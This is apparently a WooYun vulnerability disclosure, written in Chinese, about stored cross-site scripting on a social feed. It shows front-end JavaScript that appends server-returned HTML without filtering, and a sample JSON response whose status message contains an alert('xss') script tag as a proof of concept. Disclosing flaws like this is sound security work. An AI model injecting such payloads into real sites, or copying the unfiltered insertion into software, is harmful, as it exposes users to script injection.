WooYun.org

通过 GetTwitter(u, 0); 获取自己和别人发送的说说

var GetTwitter = function (u, t) {
    var url = "/twitter";
    if (t == null || t == undefined) {
        t = 0;
    }
    $("#type_hd").val(t);
    if (u) url += "/f/" + u + "/" + t + "/friendAndClassmember/15";
    $.getJSON(url + "?t=" + Math.random(), function (data) {
        $("#tmain").empty();
        var ns = $(".autonextscreen");
        if (data.hasNext)
            ns.hide();
        else
            ns.show();
        $.each(data.feeds, function (i, item) {
            $(item).appendTo("#tmain");//直接添加 没有过滤
        });
    });
}

{
    "result": 0,
    "msg": "成功",
    "hasNext": true,
    "timestamp": 635472740164847500,
    "uids": [
        98778,
        369608646,
        429916001,
        98777
    ],
    "show": "friendAndClassmember",
    "btype": 0,
    "feeds": [
        "<li id=\"0\" rel=\"635472728195570502\" addid=\"98777\" class=\"cf tmsg\"><div class=\"user_pic\"><a href=\"http://i.ciwong.com/98777\" title=\"学生体验账号\"><img src=\"http://img1.ciwong.net/uidimg_default/98777/50\" /></a></div><div class=\"msg_box comment\" reid=\"0\"><div class=\"msg_cnt\"><em class=\"color2 userName\" rel=\"98777\"><a href=\"http://i.ciwong.com/98777\" title=\"学生体验账号\">学生体验账号</a>:</em><span class=\"msg\"><script>alert('xss')</script></span></div><div class=\"cf\"><span class=\"fl\">     <a href=\"#\" class=\"link_3 mr10\">19分钟前</a>     <a href=\"/t\" class=\"link_3\">通过微博</a></span><span class=\"fun_box\">     <a href=\"javascript:void(0);\" data-reid=\"20912193\" class=\"relay link_0\">转播</a>      <em class=\"color4\">|</em>     <a href=\"javascript:void(0);\" data-reid=\"20912193\" class=\"comt link_0\">评论</a></span></div></div></li>"
    ]
}